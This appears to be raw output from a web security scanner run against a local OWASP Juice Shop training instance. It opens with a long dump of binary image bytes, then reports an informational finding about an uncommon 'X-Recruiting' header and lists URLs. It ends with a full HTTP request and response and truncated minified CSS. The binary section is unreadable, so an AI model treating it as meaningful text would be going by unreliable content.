\xd0\x823\x10Fb4\x18\xc5\x868\x156\xb4\xd9\xd6\xba\xc6Y\xb9\xb7\x8d\xd9GB\x1c\xd1\x95\xd5]\xd9Y\x95\xca\xbdV\x84\x96\xfc\x9c\xa4\xf4\x87\x9e\xe4\xb4\x8b\xaf\xde\x05\x06\xb3\x0e\xd9.\xa0U$+\xd7\x8c9\x8b=`K\xa6\xa7_\xa9\x8c9\xc5d\xc6\x12\xdb\x02i/!\xa6\x8biI$\x15/)$\xfd\x1eH\xa6M/+\x07E"\xc1\xc5E\x8de\xa0\x05\x05>kZ\xac\xdd]\x89NH\xa6\xc5ev\xc4\xfd\xb7b\xe0\xf3a/\xba\xd4\xbaiP\x9a\xa5$\xd3\xaa\x81\xcaW\xddI\x8bg\x1f\x964\xadS&\xdb\x93\n\x19\x8f\xea\xd0{\xd5U\xff\x00\xeb\x8bc\x1e\xf6\xf4\xd9"X7.\x9a\xdd\x92\x9c\xb5\x81\xa8\xa9uI\xed\x08LZ\xd8GiZ\xc6\xb3\x93\x0e;}h\xa5\x12\x90v&\xb9)\xee\x03\x8c\t\x06\xa2\x1c}K\x14<\\M\xe1\xb2\xed\xeb8\xcbL\xab*bZ\x80\x92o[g\xa0\xb3\xa4\xa8S%F\xf3rT\xa3U\xc7\xc9\xad\x17J\xcd\xf5\xd1\xa20\xab\x0el\xcc\x1co\xdb\xab)\xd2*\x96\xd3B\xb3\xaa\xbdT\xfde}\xdc\xa2)\x18\r\x85Na,\x82\xa6\xd6\xce\xf3E\x94\x81\\\xa0\xa0\x009@\xd1=b\x93\xb5\'\xb0Z2\xab\xdf\x89JI\x06\xfb\x87\xf3\xdb\xc5\x1cf,\xe7\x9d\xbe\x94\x1ba\x8b%\xa4^\xaeQ\xf0\x11m\xe1M\x93`\xb7Y\xc7\xd0\xd5\xd5\t\xaf,\x8f\xaa\xdaj\xb3\xdc\x98\xb6\xf1\xf4\xcaj\x9b6\\\xaf\xeb\xb8h?\x02MH\xedZN\xc8\xc2\x0ci\xe1\x1d\xa4\xa2\x170ZA\xfa-{1\xf8\x87\xb4=\x8aY\x10\xa5\x15\x12\xa2jNs\xcf\xe2\xa6\xdb6V\x11K*\xb4C\xa7zV\xd0\xef%5\xd8\x1c\xc8W\xdd\x8ccZS\x96u\x86\xf4\xc4\x9a\xf2\x1cFM\xf4\xa9\xc9R\x82M+\x98\xf2\xb3\xd2\xe1ZP\xde\x1f}\xc7\xdcS\x8e\xa8\xa9j5$\x92I\'I&\xf2c\x011\xb1g\xd9\x16cR3m,\x16\xc9\x01H\t))$\xaa\xaa\x15I\x06\xa6\xfa\x05W\xa5\x9c\x91\x1662\xec+U\xf4K\xb2\xf1\x0e.\xe4\xa5IRjueS&\xba\x86U\xe6\xe1S\x16\xac\xaaJw\xd0(F}\xa3\x888\x92\xd6s\x8f_\x98k?\x08bI\xa6\x05iR4\x9f\xe6\xe8\xc2|r\xd8v>Sl\xab\x84\xba>\x8bdd\x03\xf5\x9d\xe8\xd3A\xc8\xcb \xe7\x11\x84\x98\xe6\xb7\xadj\xa1\xa5\x89f\x8dnj\xe5\xd3E\\\xe9TkF@:D:\xea\xddYZ\xc9R\x89\xa9$\xd4\x93\xac\x93\x9c\xc3O\x14\x1d\x90\xa4\x87\x13\xf3\tY\x95\xcb<\x87\x9b4R\x14\x14;RA\x1eq\x86\xed\x07l)\xd4\x9f\xd8\xb8\x7f\nJ\x87\x98\xdd\xc4\xfe\x04\xcb\xdaJ\xf9Q\xf5\x13\xbc:\x02\x10.\x19h\x01aJ:\x81RJ@\xa5\xe2\xfa\x8b\x8d\xac\xeeKY=c\xe9\x7f\x10n!\nY\tH\xa91\'f%\xbeR\xefW\x90\xf8\xc6\x1a\xe3Z\xca\xc1\xba\xb3]\xfe`\x7ff\x829\'\xfcE\xde\x11\xd9E/7&\x86\xb1\x85\x98\xc6\xb60\x90\x94\xcc9\x90\xd7\xec\x91T\xb7\xde+U\x9d<\xb2hz4\xcd\xc5\x0e(\nW\x9d\r\xa8\xe80%\x96v@\x94\xd6b\xc9\xb2S96\xcc\xb8\x04\x97\x16\x94~"\x13\xef\x89\xe94N0\xb6\x1c\xaeK\x89)4\xcfE\n\x1ax\xc5\xa3\x89\xb97oa\xe26-!~c"\x9e\x06-\x1cL\xda-^\xd0K\x9faT>\x0e\x04\x8f\x03\x18\xbf\xc1\xcbz\xc4\xb5\x92\x94\xa1\xc42\xa3\xed\x02\x93\xec\xcao\xbf+\xa3\x94>\x8eM\xfa:$\x88\xb5rw\x8b\xf5\x8av\xff\x00\xc5x\x83rFU2\xe8\xca9\xc8\xbc\xea\xd9\x18\xcb\xc7\x03\xce\xadR\x162\x8aP*\x16\xf0\xce\xa3\x98\x86\x8e\x84\xff\x00\x889J=\n$e,\xa5F\xf2\x0cd\x98\xa1\x8a\x18\xa1\x8a\x18\xc9:\xa3!Z\xa3{V\xa3\x1b\xd2\xf5\x18\xde\x17\xaa8:\xf5@\x95\\\tEk\x81)\xac\xc0\x95N\xb8\x12\xe8\x10\x1a@\xd1\x00S6\xe5w11\x83\x8a\xb4-~\x18\xb1\xec\xe5\x85{\\P!\x03\xba\xf5\xec!5\xcf\x16\xa4\xd2\x9a\t\x084$\xf9Cv\xb3\xc9\xcfC\xda>\x14\x84[)=$\x91\xd9\x7f\xc2\r\xa8\xc5+S\xd9O\xe4D\xec\xe9\x98U\xd7$f\xe2\r\xc6\xd4\xd4\xfb\nm`()%*I\xd2\x08\xa1\x1d\x84F\x13b1yJv\xcatS\xf6n\x1b\xc6\xc4\xb9}v\x05\x01\xb5f-\x8c\x11\xb5\xac\x82x\\\xb2\xd0\x07\xd2\xa5Q\xf8\xd3Ty\xc58\x95\xdd\xacV+\xbbXB\x05 \xe7\xe3X\x96$\xd5\xb34\x89ITe8\xaf\x004\xa9GBF\x93\xe1R@\x8c\x16\xc1\xc9l\x1c\xb3\x91*\xd5\xf9<\xa5\xab\xae\xb3\xd2Q\xf4\x03B@\x114\xf9}\xc2\xa3\xdd\xd9\xcc\r\xc4-H5I\xa1\x86mu\xa6\xe5\x8a\xed\xcca\xabI\x85\xe9\xa1\xdbw\xe5\x16\x8e\x07X\x96\xa7)\xf9V\x96O\xd2\t\tW\xe3E\x15\xe7\x13\xf8\x91\xb0f*Z.\xb2td\xab(x,(\xfe\xf4N\xe2\tb\xa6^p\x1dAh\xa7\xef%G\xf8bs\x12\x16\xf3?\xab-8>\xaa\xc8?\xbe\x94\x8f8\x9a\xc5\x86\x12K\xf4\xa5\x14~\xc9J\xff\x00\x81J\x89\x9c\x17\xb5\xa5\x8f\xb5\x94y=\xad\xac{\xa1m)\xb3E\x02\x0e\xde2\x11S\x0e*\x83\x89H\xa4`\xb6--{yIR[-2s\xb8\xb0@\xa7\xd5OI{)\xc9\xd0T#\x04\xf06\xcf\xc1\x99r\x89qU\x1e\x9b\x8a\xe9*\x9a\xce\x84\x8d\t\x17\r\xa6\xf8\x9f\x9f\xdf\x8eJz>\xbc\xc8\xe2\xa5E&\xa0\xd2\x11>\xfa3(\xf7\xdf\xeb\x08\xb5\xdd\x19\xc00\x9bdiG\x9f\xe5\t\xb5\xd99\xea?\x9e\xd8\x16\x93\x07\xe9y\x1f\x84)\xf9g\x05\x14\xa4\x91\xb6\x9e\xf8v\xc1\xb2fzr\xec\xaf\xb5\x08W\xa8\x87\xb0\n\xc0{<\x93=\xc8\t\xfe\x1aC\xb8\xad\xc1\xa7+YD\xf7)\xc4\xff\x00\n\x84/\x13\xf84\xa3Q.\xa1\xd8\xe3\x9e\xf5\x18V%px\x8ad\xb8>\xff\x00\xc4\x18N$\xac\x14\x8b\x8b\xdf\x8c\x7f\xa2\x1c\xc4]\x86\xb5W}\x98\x1b\x02\x91\xefl\xc7\xf4\x11a\xfe\xdac\xf17\xfe\xd4\'\x11\xd6\x08\x14\xcax\xfd\xf4\xff\x00\xa2\x1b\xc4\x9e\x0f$P\x87U\xda\xbf\x80\x10\xd6(0e\x19\xe5\xca\xbb\\s\xdc\xa1\x16n\x07\xd8\xb6Y\xcb\x97\x95m\x04},\x90T;\x14\xaa\xa8x\xc3\xf6\x9bM\xe69Gg\xc7\xfebju\xc7\xcd\xf7\r\\\xd0\xe7k\x01\xe7\x06e\x1f\x13\x1c)\xde\xba\xbcL\t\xc7\x87\xd3>0\x99\xe7\xc1\xaeQ\x8f\x94_\xebz|#\xe5\x19\x8e\xb7\xa7\xc2\r\xa0\xf9\xfaPg^?L\xf8\xc1\x99t\xfd5x\x98R\x8a\x8dI\xaf8?\xbd\x1f\xff\xc4\x00F\x11\x00\x01\x02\x02\x05\x06\t\x07\n\x07\x01\x01\x00\x00\x00\x00\x01\x00\x02\x03\x11\x04\x05!1A\x06\x10\x12 Q\x91\x130aq\x81\xa1\xb1\xc1\xe1\x15"2RS\xa2\xd1\x07\x14\x163@Bbcr\x92#CP\x82\xb2\xd2\xf0\x17\xf1\xff\xda\x00\x08\x01\x03\x01\x01?\x00\xfe\x89/\xe8\x12\xb39\xc3\xecm\x84O\x1b\x86s\x87\xd8[\x0c\xb96\x10\x08\xb86\xf4\xf2\t\xb3\x8c\xc39\xc3\x8fkK\x8c\x93a\x06\xdfj$6\xf4\xf8\xdb\x113\xe3p\xcep\xe3\xe0^\xa2;DL"\xe2x\xfc3\x9c8\xf8\x18\xa8\xe6\xcf\xb0a\x9c\xe1\xc7\xc0\xb8\xa8\xe6\xef\xb0a\x9c\xe1\xc7\xc1\x1ej\x8d\x7f\xd80\xcep\xe2CIZ\x0e\xd8\xb4\x1d\xb1h;b\xd0v\xc5\xa0\xed\x8a\x18\x93d\xa2\x82]r\xd0;\n-#\x8e\xc39\xc3\x88\x87\x08\x0bJs\xda\xcb\xc8\x0b\xe70}v\xef\x0b\xe70}v\xef\x1f\x15\xf3\x98>\xbbw\x8f\x8a\xf9\xcc\x1f]\xbb\xc7\xc5|\xe6\x17\xae\xdd\xe1\x0bD\xd1\xa4Bi\x91p\xde>+\xe7P\xbdv\xef\n\xc7\r\xaa,9Z8\xdc3\x9c5\xe1\x89\x95\x1e(\x84\xc7<\xe0&\xa3G|g\x17<\xcc\xeb1\xba-\x03`T\x87iEq\xdaOnj\xb6\x98\xe8\x11@\x9f\x9aM\xa3\x04\xe11.7\x0c\xe7\rx\x02\xd2Uw\x1bB\x06\x8f\xac|u\xa07J#F\xd2\x13\x8e\x88\'b9\xe8\x91\xb8h-v\xd1\xd7\x8fZ\x88\xd98\xf1\x98g8k1\x85\xd7&7DIV\x15q\xa5\x90t\xa4\x07$\xfb\xc2\xfa?\xf9\x9e\xef\x8a\xfa?\xf9\x9e\xef\x8a\xfa?\xf9\x9e\xef\x8a\xfa?\xf9\x9e\xef\x8a\xfa?\xf9\x9e\xef\x8a\x81Q\xf0q\x1a\xfd9\xc8\x83v\xce\x95\x11\xbal-\xbabK\xe8\xff\x00\xe6{\xbe+\xe8\xff\x00\xe6{\xbe+\xe8\xff\x00\xe6{\xbe*\x83F4hz\x1aS\xb7d\xbe*$=+B"F\xde/\x0c\xe7\rhBMT\x9ak\xa0\xbfDCs\xb9B\xf2\xa3\xfd\x8b\xf7x/*?\xd8\xbfw\x82\xf2\xa3\xfd\x8b\xf7x/*?\xd8\xbfw\x82\xf2\xa3\xfd\x8b\xf7x/*?\xd8\xbfw\x82\xf2\xa3\xfd\x8b\xf7x/*?\xd8\xbfw\x82\xf2\xa3\xfd\x8b\xf7x/*?\xd8\xbfw\x82\xf2\xa3\xfd\x8b\xf7x/*?\xd8\xbfw\x82\xa2R\x0cf\x92X[\xcf\x8a\x8e.\xe2\xf0\xcep\xd6\x85\x10\x01#\xc5Y\xa9r\x8a\xfd#g\x17\x86s\x87\x11M\x12\x8e\xf1\xf8\x8fn\xb5B\xd9\xc6q\xd8\xde\xf0\xab\xc7J\x8f-\xa4w\x9e\xedJ\xa0N\x94\xde\x9e\xc2\x9f\xe8\x9e3\x0c\xe7\rv\x1b\x02\xad\x84\xa9/\xe8\xec\nJZ\x99>\xdb^y\xbb\xd5~\xe9C`\xe5?\xf7^\xa5B\'\x1c\xfe\x93\xda\x14_D\xf1\x98g8k\xc2\xb5\xa1W\xa2Q\xc7\xe9\x1d\xa5\x0c\xc7=@\xdf\xe18\xf2\xf7\x0f\x8a\xca\x07y\xcc\x1c\x87\xbbS\'\xc5\xb1\x0f7z\x8f\xe8\xf1\x98g8k\xc0>j\xca\x06\x8d&\x1d\xa0\xf5K\xe2\x9b\x99\xd9\xeaF\xca\x8d=\xa4\xfc;\x95|\xe9\xc7\x03cGi\xd4\xa8\x1a8\';\xf1v\x0f\x15\x1f\x0e3\x0c\xe7\rz9\xbdW\xec\x06\x13]\xb0\xcbx\xf0L\xbdI?=V\xd9Q\x989;IU\xc3\xa7Iw$\xbb\x06\xa5J\xc0\xda0;I=r\xeeQ\xcd\xa3\x8c\xc39\xc3^\x8emU\xd34\xa8\xc4\xec \xf7w\xa6_\x9a%\xd9\xe8\xac\xd0\x82\xc6\xech\xecU\x81\xd3\xa4\xbf\x9c\xfc\x15\x1e\xa3\xa7\xd2-\x87\x01\xe4m\xd12\xdf)(y\x13[\xbf\xf92\xe7sGT\xe7\xd4\x86AV\xc4}[\x7fs~*\x05\t\xf4&\x08\x11\x04\x9c\xc9\x82/\x91\x9d\xbdj1\x9b\xb8\xcc3\x9c5\xe0\xfaJ\xb3f\x9d\x19\xe3\x92{\xad\xeeM6\xa9(\x82\xc5G\xa2\xc6\xa4;B\x13\x0b\xdd\xb1\xa0\x93\xd4\xaa\xdc\x80\xac)R1e\t\xbf\x8a\xd7~\xd1\xdeB\xa2du\x1a\x14\xb8W\x17\xfb\xa3\xe3\xef*5]F\xa2\x99\xc1\x86\xd6\x9d\xa0\t\xf4\x9b\xcfIRMiq\x90\xb4\x95C\xa0\xb6\x08\x99\xb5\xdd\x8a\xb3\x8c#R\xe2\xc4\x1fy\xee;\xc9*!\x9b\x8f\x19\x86s\x86\xbc3\'\x05Ek\x1d\x15\x81\xe0\x16\x97\x00A\xb8\x89\xda:B\xa4d=T\xe2g\x07D\xf29\xc3\xaarM\xc8\xca\xb4^\xd7\x1f\xee=\xca\x89\x935l7\x89@i\xfdSw\xf9\x12\xa0\xc0\x87\x05\xba0\xda\x1a6\x00\x00\xeaB\xf4H\xcfW\xd0\xb8!\xa4\xefH\xf5(\xf1D(ny\xb9\xa0\x9d\xc2j\xf4\xe32x\xcc3\x9c5\xd9xM23\n=\x16\x1d-\x81\xed\xb0\x910{&\xa3\xc0|\x17\x16\xb8(\x07\xcf\x08g\x00\x9b\x02\xa0\xd5\xfc\x1f\x9e\xff\x00K\x01\xb3\xc75{\x14C\xab\xe3\xbb\xf2\xdc:H u\x9c\xc2\x1b\x8e\x08@+\x80\xe5F\x01E\x84^\xa5\xaf\x86s\x87\x10\x15I\x10D\xa0@p\xb7\xf8m\xdf!>\xb5Jh\xe1\x1c\x0e\xd4\xda\x047<J\xcbBuQ\x10\\A^L\x8f\xb0oL\xa9\xdcO\x9c\xe09\xad\xf8\'\xc6\xa0\xd5\xff\x00X\xf6\xb4\xfe"4\xb7_\xb8*V]U\xd0latC\xf8D\xbf\xcbG\xaaj\x95\xf2\x8b\x18\xfdL\x16\xb7\xf5\x12\xee\xcd\x1e\xf5Xe5>\x9c\xc3\x0e,O0\xfd\xd0\x00\x1dBg\xa4\x95C\xabiT\xc3\xa3\x06\x1b\x9d\xcc,\xdfr\x87\x90\xf5\x93\x9b\xa4\xe6\xb5\xbc\x84\xcc\xfb\xbaJ\x16G\xdd\xc2D\xe8\x03\xbc\x9e\xe5\xf4J\x8b/I\xfb\xc7\xfa\xa8\xf9!\x7f\x05\x13\xa1\xc3\xbc|\x15:\xa9\xa4P\xfe\xb1\xb6m\x16\xb7\xfe\xe7\x91O\x82\r\xc8\x89ka\x9c\xe1\xc40\xf9\xa1d|M:\xaa\r\xb7i\r\xce=\xca\x9fdS\xd0\x8d!\x90Hs\xdc\x1a\x01\xbc\x99\x0e\xb5L\xcbj\xb6\x8fc\\b\x1f\xc2;\xdd\xa27MS>P\xa9\x0f\xb2\x04&\xb4mq.=\x1e\x88\x1dj\x97\x94U\x8d.\xc8\x91\x9d-\x83\xcd\x1b\x9b)\xf4\xa8\x15=2=\xad\x86y\xcf\x9b\xd6\xe9(\x19%\x19\xdfX\xf6\xb7\x9an=\xca\x8f\x92\xb4FZ\xfd\'\xf3\x99\x0e\xabz\xd4\n\xb6\x8d\x03\xd0\x86\xd0F2\xb7}\xfdi\xae-3\x06EP\xa9\xbc/\x9a\xefK\xb5VT`\xd3\xc27\x1b\xf3\xb9\xa1\xc0\x83h*\xbc\xc9\xe1\x0c\x18\xd4qf-\xd9\xca96\x8c0\xe4\x88\xcd+Ff\xc3.F\x01\x19\xf0\xcep\xe2 \x82\xe6\xd8\xaa\x0c\xae\x85U\xd0\xb8\x12\xc2\xf7\xe9\x12-\x01\xb22\xc6\xd39\xcf\xee\x9euX\xe5u6\x98\xe9\x82!\x89K\xcd\x1d\xe6}RP\xe0R\xa9\xae\x98\x0ey\xdbi\xdeJ\xa3d\xa5%\xf6\xc4p`\xfd\xc7\xaa\xcfyQ\xf2V\x89\x0e\xd7\xcd\xe7\x94\xc8u[\xd6T\n\x1c\x18\x1fV\xc0\xdea\xdf\xac\xd7\x16\x99\x8b\xc2\x8fL\x89\x18I\xd2\x96\xaeQ\xd5\x82\x8b\x1bM\x83\xcc\x7fS\xb1\x1d\xe3\xa4`\xb8!9\xaaE-\x90\x05\xa6\xdd\x8a\x8bH1\x9b\xa5)Z\xa2\xb0\xce\xc1\x98\xdd\x9c\xe1\xac\xd8N)\xb0@\xbe\xd5D\xab\xe3\xd2L\xa10\x9e\\:M\xc1U\xdf\'\xee\x88\x03\xa9\x11@\x07\x06[\xef\x1f\x81M\xc9\x8a-\x05\xd2\xd0\xd2\xe5u\xb3\xee\xea@\x00%\xc7\xd7\xd4a\x1e\x86\xf1\x8bF\x90\xfe\xdf\t\x85M{\x99\x08\xb9\xb7\xa2I3*\x8bX2\x1b\x03\x1c\r\x9b\x14*t(\x86@\xdaTf\xd94n\xcep\xd4d"\xe4\xd8a\xaa\x83\x93\x94\xaaD\x8b\x86\x83v\xba\xfe\x86\xdf\xbe\\\xea\x85\x93tZ<\x8b\x86\x9b\xbf\x15\xdf\xb6\xed\xf3Mhh\x90\xb0\x05F\xa5:\x0b\xac\xb4b\x14F2\x93\x0b\x90\xdd\xf6\x08\x8c\x0fii\xb8\x89oT\xa18N\xe69\xea\xea+b\x7f\x11\xd8\x1b\x14c \x8d\xd9\xce\x19\x80&\xe4\xc8@^\xaa\xda\x86=3\xce\xf4\x19\xb4\xe3\xcc1\xea\x1c\xaa\x81S\xd1\xe8C\xccl\xdd\xeb\x1bO\x87B\x96\xa3c=\xad\xd1\x04\x81\xc6\x0bSh\xf1\x1dsN\xe4\xda\xba3\xb0\x03\xa7\xe0\x99Uz\xce\xdc\xa9\x14X4h/\x8am\xd0iu\xbc\x82i\xed\x0e\x04\x1b\x8a}X\xd3q\xde\x9fV\xc4\x17Z\xa8pcB\x89)\x101\xd8\xa3z(\xdd\x9c\xe1\x9a\x149\x0eR\xaa\\\x94{@\x8dIa\'\x06\x90l\xfd\\\xbc\x9b\xed\xbb\x81x\x1e\x89\xdc\xb87l+A\xdb\x16\x89\xd8\xb4N\xc5\xa2v.\r\xdb\n\x10\x9ep;\x90\x81\x10\xfd\xd3\xb8\xa1E\x8a~\xe9\xdc\x85\x0e1\xfb\xa5\n\xbe1\xfb\xbda\n\xb61\xd9\xbd\n\xae&$!T\xedwW\x8a\x15T<IM\xab\xa0\x8c\'\xd2\x9bD\x84\xdb\x9a\x13Z\x1bp\x96\xa6\\\xd6b\x8dC\xe0\x1a|\xf8\xa6_\xda-v\xfb\x07I\xd8\xa3<\xb6RB3\x90\x8e1\x0b\x86j\x89\x13K\x99\x1b\xb3\x9c3@\x8eX\xe0\xf6\x199\xa4\x10v\x11qUW\xca\x00\x90e1\xb6\xfa\xcd\xefol\xba\x1a\xa8U\xcd\x0e\x99\xf51Z\xe3\xb2rw\xed2=\\u\x0e\x8c\xc1\x08i\x00IO\x96\x91\x95\xd3\xd6\xa7\xd3\xe0\xd0`\xba4gI\xa3y\xe4\x1bIU\xcdm\x12\xb2\xa4:;\xec\xc0\x0fU\xa2\xe1\xff\x00^S\xdd\xa4g\xab\x86s\x86`erls\x8a\x11ZU\x12\xbd\xa7Q\x87\xf0\xa38\r\x93\x98\xdcf:\x95\x1f/k\x18~\x9e\x83\xf9\xc4\x8f\xba@\xeaP>QE\xd1 t\x87w\x10;T\x1c\xbd\xab\x9f\xe9\x07\xb7\x9c\x03\xfe$\xa8YWU\xc5\xba0\x1c\xe0\xb7\xfc\x80P\xabj\x1c_B3\x0f3\x87\xc55\xc1\xd6\x83=j\x1d\x1f\x86}\xb7\x0b\xd560\x85\x0e\xcb\xcd\x83Z\xb6\xca\x9a\x15^\x08.\xd3\x7f\xaa\xdbOI\xb9\xbd6\xec\x05WU\xed"\xb4\x89\xa5\x14\xc9\xa2\xe6\x8b\x87\x8e\xd3\xff\x00\xc5\x12&\x95\x82\xedl3\x9c5&\xa6\x84W\x0cP\x8e\xe4#\xed\x0b\x86j\xe1[\xb56.\x8d\xa1\xd2\xe9P\xebJS=\x08\xcf\x1c\xce#\xb0\xa6e\x15b\xcb\xa3\xbf\xa5\xc4\xf6\xcd3+\xabF]\x18\xf4\x86\x9e\xd0\x9b\x96\xb5\xa8\xfe`?\xda\xde\xe0\x86]VC\x16\xfe\xd5\x07\xe5.\xb4\x84\xdd\x16\x88\x7f\xb4\xff\x00\xb2\x8b\xf2\x91YE3sa\x9e\x87\x7f\xb2\xff\x00\xd0\xa9\xfe\xa4=\xce\xff\x00tr\xfa\xb1&\xe8\x7f\xb4\xff\x00\xb2v]\xd6D\xde\xc1\xfd\xbf\x12S\xf2\xd2\xb5u\xd1\x00\xe6k{\xc1T\xba\xf2\x9dJ\x12\x8b\x19\xc4\x1c\'!\xb8Hu\'EhO\x88]\xaf\x86s\x87\x17<\xd3ZGj\xd3;W\x08\xed\xab\x86v\xd5\xc2\xbbj\xe1]\xb5p\xae\xda\xb8GmZgj\x9f\x13\x86s\x87\xf4\x03vy\xa9\xa9\xa9\xa9\xa9\xa9\xa9\xa9\xa9\xa9\xa9\xa9\xa9\xa9\xa9\xa9\xa9\xa9\xa9\xa9\xa9\xa9\xa9\xa9\xa9\xa9\xa9\xa9\xa9\xa9\xa9\xa2\x7f\xa2\xff\x00\xff\xd9'
The remote web server sent 30 HTTP responses with the uncommon response header "X-Recruiting", one of the received header values is "/#/jobs". The first ten URLs which sent the uncommon header are: - http://localhost:3000/ - http://localhost:3000/103.js - http://localhost:3000/MaterialIcons-Regular.woff2 - http://localhost:3000/api - http://localhost:3000/api/Challenges - http://localhost:3000/api/Challenges/ - http://localhost:3000/api/Quantitys - http://localhost:3000/assets - http://localhost:3000/assets/i18n - http://localhost:3000/assets/i18n/en.json
GET http://localhost:3000/styles.css HTTP/1.1 User-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 OPR/102.0.0.0 Host: localhost:3000 Pragma: no-cache Cache-control: no-cache Accept-encoding: gzip, deflate Content-type: application/x-www-form-urlencoded Content-length: 0 Accept: */*
b'HTTP/1.1 200 OK\r\nAccess-Control-Allow-Origin: *\r\nX-Content-Type-Options: nosniff\r\nX-Frame-Options: SAMEORIGIN\r\nFeature-Policy: payment \'self\'\r\nX-Recruiting: /#/jobs\r\nAccept-Ranges: bytes\r\nCache-Control: public, max-age=0\r\nLast-Modified: Wed, 28 Feb 2024 19:21:33 GMT\r\nETag: W/"99b9d-18df12a3c67"\r\nContent-Type: text/css; charset=UTF-8\r\nVary: Accept-Encoding\r\nContent-Encoding: gzip\r\nDate: Tue, 05 Mar 2024 22:26:59 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\nTransfer-Encoding: chunked\r\n'
b'/*!\n * Copyright (c) 2014-2023 Bjoern Kimminich & the OWASP Juice Shop contributors.\n * SPDX-License-Identifier: MIT\n */.mat-badge-content{font-weight:600;font-size:12px;font-family:Roboto,Helvetica Neue,sans-serif}.mat-badge-small .mat-badge-content{font-size:9px}.mat-badge-large .mat-badge-content{font-size:24px}.mat-h1,.mat-headline,.mat-typography .mat-h1,.mat-typography .mat-headline,.mat-typography h1{font:400 24px/32px Roboto,Helvetica Neue,sans-serif;letter-spacing:normal;margin:0 0 16px}.mat-h2,.mat-title,.mat-typography .mat-h2,.mat-typography .mat-title,.mat-typography h2{font:500 20px/32px Roboto,Helvetica Neue,sans-serif;letter-spacing:normal;margin:0 0 16px}.mat-h3,.mat-subheading-2,.mat-typography .mat-h3,.mat-typography .mat-subheading-2,.mat-typography h3{font:400 16px/28px Roboto,Helvetica Neue,sans-serif;letter-spacing:normal;margin:0 0 16px}.mat-h4,.mat-subheading-1,.mat-typography .mat-h4,.mat-typography .mat-subheading-1,.mat-typography h4{font:400 15px/24px Roboto,Helvetica Neue,sans-serif;letter-spacing:normal;margin:0 0 16px}.mat-h5,.mat-typography .mat-h5,.mat-typography h5{font:400 11.62px/20px Roboto,Helvetica Neue,sans-serif;margin:0 0 12px}.mat-h6,.mat-typography .mat-h6,.mat-typography h6{font:400 9.38px/20px Roboto,Helvetica Neue,sans-serif;margin:0 0 12px}.mat-body-strong,.mat-body-2,.mat-typography .mat-body-strong,.mat-typography .mat-body-2{font:500 14px/24px Roboto,Helvetica Neue,sans-serif;letter-spacing:normal}.mat-body,.mat-body-1,.mat-typography .mat-body,.mat-typography .mat-body-1,.mat-typography{font:400 14px/20px Roboto,Helvetica Neue,sans-serif;letter-spacing:normal}.mat-body p,.mat-body-1 p,.mat-typography .mat-body p,.mat-typography .mat-body-1 p,.mat-typography p{margin:0 0 12px}.mat-small,.mat-caption,.mat-typography .mat-small,.mat-typography .mat-caption{font:400 12px/20px Roboto,Helvetica Neue,sans-serif;letter-spacing:normal}.mat-display-4,.mat-typography .mat-display-4{font:300 112px/112px Roboto,Helvetica Neue,sans-serif;letter-spacing:-.05em;margin:0 0 56px}.mat-display-3,.mat-typography .mat-display-3{font:400 56px/56px Roboto,Helvetica Neue,sans-serif;letter-spacing:-.02em;margin:0 0 64px}.mat-display-2,.mat-typography .mat-display-2{font:400 45px/48px Roboto,Helvetica Neue,sans-serif;letter-spacing:-.005em;margin:0 0 64px}.mat-display-1,.mat-typography .mat-display-1{font:400 34px/40px Roboto,Helvetica Neue,sans-serif;letter-spacing:normal;margin:0 0 64px}.mat-bottom-sheet-container{font:400 14px/20px Roboto,Helvetica Neue,sans-serif;letter-spacing:normal}.mat-button,.mat-raised-button,.mat-icon-button,.mat-stroked-button,.mat-flat-button,.mat-fab,.mat-mini-fab{font-family:Roboto,Helvetica Neue,sans-serif;font-size:14px;font-weight:500}.mat-button-toggle,.mat-card{font-family:Roboto,Helvetica Neue,sans-serif}.mat-card-title{font-size:24px;font-weight:500}.mat-card-header .mat-card-title{font-size:20px}.mat-card-subtitle,.mat-card-content{font-size:14px}.mat-checkbox{font-family:Roboto,Helvetica Neue,sans-serif}.mat-checkbox-layout .mat-checkbox-label{line-height:24px}.mat-chip{font-size:14px;font-weight:500}.mat-chip .mat-chip-trailing-icon.mat-icon,.mat-chip .mat-chip-remove.mat-icon{font-size:18px}.mat-table{font-family:Roboto,Helvetica Neue,sans-serif}.mat-header-cell{font-size:12px;font-weight:500}.mat-cell,.mat-footer-cell{font-size:14px}.mat-calendar{font-family:Roboto,Helvetica Neue,sans-serif}.mat-calendar-body{font-size:13px}.mat-calendar-body-label,.mat-calendar-period-button{font-size:14px;font-weight:500}.mat-calendar-table-header th{font-size:11px;font-weight:400}.mat-dialog-title{font:500 20px/32px Roboto,Helvetica Neue,sans-serif;letter-spacing:normal}.mat-expansion-panel-header{font-family:Roboto,Helvetica Neue,sans-serif;font-size:15px;font-weight:400}.mat-expansion-panel-content{font:400 14px/20px Roboto,Helvetica Neue,sans-serif;letter-spacing:normal}.mat-form-field{font-size:inherit;font-weight:400;line-height:1.125;font-family:Roboto,Helvetica Neue,sans-serif;letter-spacing:normal}.mat-form-field-wrapper{padding-bottom:1.34375em}.mat-form-field-prefix .mat-icon,.mat-form-field-suffix .mat-icon{font-size:150%;line-height:1.125}.mat-form-field-prefix .mat-icon-button,.mat-form-field-suffix .mat-icon-button{height:1.5em;width:1.5em}.mat-form-field-prefix .mat-icon-button .mat-icon,.mat-form-field-suffix .mat-icon-button .mat-icon{height:1.125em;line-height:1.125}.mat-form-field-infix{padding:.5em 0;border-top:.84375em solid transparent}.mat-form-field-can-float.mat-form-field-should-float .mat-form-field-label,.mat-form-field-can-float .mat-input-server:focus+.mat-form-field-label-wrapper .mat-form-field-label{transform:translateY(-1.34375em) scale(.75);width:133.3333333333%}.mat-form-field-can-float .mat-input-server[label]:not(:label-shown)+.mat-form-field-label-wrapper .mat-form-field-label{transform:translateY(-1.34374em) scale(.75);width:133.3333433333%}.mat-form-field-label-wrapper{top:-.84375em;padding-top:.84375em}.mat-form-field-label{top:1.34375em}.mat-form-field-underline{bottom:1.34375em}.mat-form-field-subscript-wrapper{font-size:75%;margin-top:.6666666667em;top:calc(100% - 1.7916666667em)}.mat-form-field-appearance-legacy .mat-form-field-wrapper{padding-bottom:1.25em}.mat-form-field-appearance-legacy .mat-form-field-infix{padding:.4375em 0}.mat-form-field-appearance-legacy.mat-form-field-can-float.mat-form-field-should-float .mat-form-field-label,.mat-form-field-appearance-legacy.mat-form-field-can-float .mat-input-server:focus+.mat-form-field-label-wrapper 